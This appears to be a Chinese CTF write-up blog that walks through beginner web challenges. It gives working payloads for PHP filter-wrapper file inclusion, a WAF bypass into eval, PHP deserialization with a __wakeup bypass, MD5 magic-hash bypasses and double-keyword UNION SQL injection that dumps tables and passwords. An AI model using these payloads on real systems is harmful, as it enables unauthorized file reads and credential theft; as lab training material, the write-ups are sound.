简单的WEB题目,记录自己的做题思路和思考过程,希望我的无心之言能对你起到帮助。
/
/持续更新ing..........................
[ACTF2020 新生赛]Include
一道简单的include(文件包含题目),主要考察的是对于php伪协议的利用。从题目上得知信息,include文件包含的形式,我个人生活中常用的文件包含无非就是/?file=xxxx.php
或者是/?file=php://filter/read=convert.base64-encode/resource=xxxx.php
不了解php伪协议的同学可以自己去查一下,网上的资料很详细也很多。
总体来说这道题个人经验比较重要吧,整个的payload==>/?file=php://filter/read=convert.base64-encode/resource=flag.php
[RoarCTF 2019]Easy Calc
坑人的 ,刚开始拿到题目并没有思路,F12 看到题目作者给了个提示,说他上了waf,那么这道题所考的点应该是如何去绕过WAF, 那么我们就有思路了,看到源码中包含了一个名为calc.php的waf文件,我们试着去访问一下,发现可以直接访问。查看源码:
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}?>
从源码中看出,整个代码通过get方式来传参,而却num参数过滤了很多特殊字符和空格。这个地方我也没思路,找到网上一些大佬的wp,发现人家在num前面加入一个空格,个人理解应该是将num变成了[空格]num,而[空格] 被后面的正则去掉了,所以参数就以num+字符串传进了源码中。那么我们要做的就像得到了一个简单的shell一样,我们利用scandir(/) 查看根目录的文件。
但是我们用scandir(/)的时候,要注意,出题人在出题的时候吧"/"也过滤掉了,所以这个地方我们考虑用其他方法绕过这个问题,笔者使用的是ASCII码的方法来解决这个问题。这个地方需要注意的是,我们通过print_r来打印我们scandir所查询到的结果,官方解释是print_r所输出的结果更适合人类理解。(内心os:哈哈哈哈妙啊 ,终于有人不把我当成生产队的驴了。)
然后我们就可以得到下面的结果:
可以看到 我们所要的值应该就是f1agg这个东东,话不多说,直接上file_get_contants()函数, 这里补充一点,对于萌新来说,既然我知道了文件和路径,那我为什么不可以直接file(/f1agg)来直接打开文件?请看下图:
(PS 截图中的ASCII码对应的是(/flagg),因为懒就没有重新补充)
这个地方可以仔细去看一下file_get_contents(filename)的用法,在笔者看来,可以简单理解成,这个地方我们要读的不是这个文件,而是这个文件的字符串。所以我们这个地方用file_get_contents。
payload==/clac.php?%20num=print_r(file_get_contents(chr(47).f1agg))
HTTP
了解各类型的http
极客大挑战 PHP (反序列化)
拿到WWW.zip的文件后发现是一道简单反序列化的题目
反序列化EXP和解释
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes'; #通过class.php 发现需要username和password的值
public function __construct($username,$password){
$this->username = $username;
$this->password = $password; #从class.php中把调用的函数复制过来
}
}
$a = new Name('admin', 100); #创建新对象
echo (serialize($a)); # 序列化对象,用这一串序列化之后的payload是错误的,查看class.php,发现还有个wakeup函数
echo PHP_EOL; #换行|过wakeup函数 需要让name后面的私有属性个数和真实值个数不相同
echo ("/?select=".urlencode(serialize($a))); #url编码是为了解决私有属性中<0x00>复制不了的问题
?>
青龙杯
这里面看到了一个自己平时很少注意的点,主要因为自己的水平太菜才会感觉像发现新大陆一样,下图中OP===2 然后进入process函数,其中只有当op==2 的时候,才会进入我们想要的read函数中,那么我们第一个想法就是把我们的op设置为“2”,但是这里有个点,在php中双等号和三等号的意义是不一样的,三等号还要判断类型,也就是说默认定义的op=2 这里的"2 " 对应的应该是int ,而op=“2”,所对应的应该是string (才疏学浅,如果写错了请各位大佬批评指正)。那么我们看到源码中只有op===2为false的时候,才能进入到下面的process函数中,所以我们要把第一个判断过掉,这里我们使我们的赋值变成op=2,也就是说把他变成int类型。进入process函数后,我们看到process中对于op是一个"==" 也就是说只判断变量值,不去判断变量的类型。这样就成功的绕开了op===2这个点。
在构造EXP的时候,三个变量都是受到保护的,所以在构造序列化字符串的时候会出现<0x00>这种标志,但是后面的is_valid 函数要求32<ASCII<125 所以0x00这种肯定不符合,这里提供给大家两种解决方案:
1.查字符:下图中可以看出,构造出反序列化链之后,可以把0x00和* 手动删掉,当然还要更改前面的字符串长度,这种方式比较麻烦,不过也可以得到正确的序列化字符串。
2.更改变量属性: 我们可以把proteced=> public属性,这样在序列化链中就不会出现0x00这种特殊符号,也可以顺利过下面的is_valid函数的一关。需要注意的是,看了网上好多大佬的wp之后,发现大家的普遍方法就是:
php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过。
看好多大佬都说在BUU上面的这道题是被简化的,原题还要猜解flag.php的绝对路径。在源码中细心的小伙伴肯定发现了php伪协议的利用函数,file_get_contents(),而利用方法也就是图中所加注释的部分。这道题在buu上面我发现不用伪协议也能解决,所以就偷了个懒。而conten变量其实是无关紧要的一个变量,在后续中,content主要是用于write函数,而content的长度限制也是在write中,所以在本地设置的时候,content的长度和内容大家可以随便设置。
payload====> url/?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"0";}
EZ_md5
新型绕过方式md5(md5($_GET['a'])) ==md5($_GET['b'])
想要绕过PHP中的MD5限制,我们首先要知道以下几点:
1.在php中0e会被当做科学计数法,就算后面有字母,其结果也是0。
2.md5码有两种格式,一个是16字符2进制的,还有一种是32字符16进制的。
3.绕过MD5($password,true)的万能密码:ffifdyop
解题流程:
·1 第一步的sql语句我们可以通过抓包或者查看F12中的网络--查看源码 来查看到。
'or'66�]��!r,��b
,也就是 xxxx' or ' xxxxx。经过md5加密后:
276f722736c95d99e921722cf9ed621c
·2
两个参数,a和b,要求ab不等,且ab的MD5值相等,这就有点难搞啦,这里涉及到我们上面讲到的知识点1,也就是说php中0e后面的会被默认放掉,所以我们要找到0e开头的MD5加密,这里大家百度搜索一下即可,我用的是
a=s155964671a&b=s878926199a
·3 强弱判断,!==和===的区别。上面的题有提过,这里我就不在赘述 直接上payload,param1[]=1¶m2[]=2
三步走完就可以拿到你的flag。
[极客大挑战 2019]BabySQL
这两天做了几道sql注入的题,总结起来就是爆表名,爆库名,爆字段。
尝试注入:
发现or没了,而且这个地方我们还发现了,这里的单引号是扩在der 4 %23这串字符上面的,这里我最开始还疑惑了一下,后面查一下网上的大佬们说是:
“#”将传入的数据都当作一个字符串,会对自动传入的数据加一个双信号,例如:order by 3,会被解析成 order by “3”.而“$”会将数据直接显示生成在sql中,例如:order by 3 ,会被解析成 order by 3 。
到目前为止,我们发现这道题是拼接字符,无法用order这道题,我们使用order by 来猜解字段是不正确的。拼接字符的原理大致如上面所说,传入的参数不能有'
或者"
号,如果加入了这些符号,那么order by id
中的id 就不再是字段 而是字符串。
要使用union select 1,2,3,4,5%23
来进行初步测试,发现union和select都被过滤了,绕过姿势很多种类,可以参考网上的,我这里就选择了比较简单的双写,ununionion selselectect绕过,由于是在url里,尽量把# 和 , 变成%23 和%27 空格是%20 .:payload:
check.php?username=1%27uunionnion sselectelect 1,2,3%23&password=123
回显位2,3,不多说了,爆库爆表爆字段。
check.php?username=1%27uunionnion sselectelect1,2,database()%23&password=123
check.php?username=1%27uunionnion sselectelect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata%23&password=123
schemata是schema的复数
check.php?username=1%27uunionnion sselectelect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()%23&password=123
check.php?username=1%27uunionnion sselectelect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() aandnd table_name='b4bsql'%23&password=123
1%27uunionnion sselectelect 1,2,group_concat(passwoorrd) frfromom b4bsql%23&password=123
sql注入的题是真的水帖子,又臭又长
[护网杯 2018]easy_tornado原理 :python 模板注入
这道题做的云里雾里的,简而言之就是没做明白。看到题目里的三个提示之后,就去找这道题的cookie_secret,bp抓包之后发现根本找不到,无奈上百度搜了一些大佬的WP ,发现自己的思路没毛病,就是太菜了,不知道这个handler.settings怎么来的。还是太菜 ,没太明白,放一个payload在最后吧,拿到cookie之后,根据v他给的hints的提示,写一个py的脚本就行。